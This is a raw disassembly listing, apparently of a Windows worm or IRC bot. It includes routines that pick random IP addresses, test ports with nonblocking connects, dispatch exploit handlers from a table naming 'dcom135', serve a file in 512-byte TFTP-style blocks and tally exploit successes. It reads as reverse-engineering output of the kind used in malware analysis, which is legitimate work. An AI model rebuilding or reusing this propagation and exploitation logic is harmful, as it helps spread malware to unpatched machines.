		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		call	near ptr 2630F90h
		nop
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43AD98
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		nop
		call	near ptr 2630F90h
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------


loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		nop
		call	near ptr 2630F90h
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		add	esp, 28h
		push	ebx
		nop
		call	near ptr 26302E2h


loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h


loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43AD80
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_436EDC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43AD70
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43ADFC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC


loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43ADFC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------


loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax


loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43ADFC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------


loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43ADFC


loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4


loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43AE30
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		call	near ptr 2630F90h
		nop
		push	esi


loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Fp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172B0
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8


loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi


loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_4CD5F0
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_436F18[eax*8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------


loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_438F34
		push	104h
		push	edi
		push	ebx
		mov	dword_439144, eax
		mov	dword_439140, ebx
		nop
		call	near ptr 2680000h
		push	103h
		mov	esi, offset dword_439038
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_438F30, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4391C8, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439148
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_4391CC, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------


loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_439148
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_4391CC, ebx


loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_439144
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43913C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_438F30
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, dword_43913C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_40738E


loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_4391D0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_40737C
; ---------------------------------------------------------------------------


loc_40738E:				; CODE XREF: sub_407252+128j
		call	near ptr 2670ADCh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43958C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_439798, ebx
		nop
		call	near ptr 2680000h
		push	103h
		mov	esi, offset dword_439690
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439588, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_439820, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4397A0
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_439824, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------


loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4397A0
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_439824, ebx


loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43979C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_439794, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439588
		push	offset sub_4053D5
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, dword_439794
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4074B2


loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_439828, ebx
		jnz	loc_4075D5
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_40749C
; ---------------------------------------------------------------------------


loc_4074B2:				; CODE XREF: sub_407252+248j
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------


loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_439464
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl


loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43957C, ebx
		mov	dword_439568, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4391DC
		call	sub_4172B0
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4391D8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_439568
		mov	dword_439574, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_439578, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_439570, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4391D8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, dword_439570
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4075BA


loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_439584, ebx
		jnz	short loc_4075D5
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------


loc_4075BA:				; CODE XREF: sub_407252+354j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_42B1C8


loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:436F18h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43ACCC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43AD94
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------


loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730C
		mov	[ebp+var_C], eax


loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730C
		mov	[ebp+var_8], eax


loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730C
		mov	[ebp+var_4], eax


loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730C


loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_436F18[ecx*8], eax


loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------


loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43AD98
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43AE34
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43AD80
		push	esi
		mov	edi, eax
		call	dword_43AE30
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26308B3h
		push	eax
		call	sub_417302
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4407F4[ebx]
		cmp	dword_436F1C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------


loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6


loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4407F4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172B0
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4405F0[ebx]
		push	eax
		call	sub_4172B0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_438F18
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]


loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h


loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_438F18
		call	near ptr 77F7E300h
		nop
		jmp	loc_407960
; ---------------------------------------------------------------------------


loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]


loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		nop
		call	near ptr 2630F90h
		jmp	loc_4077AE
; ---------------------------------------------------------------------------


loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 26302E2h
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3300o
					; sub_40EE72+5137o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
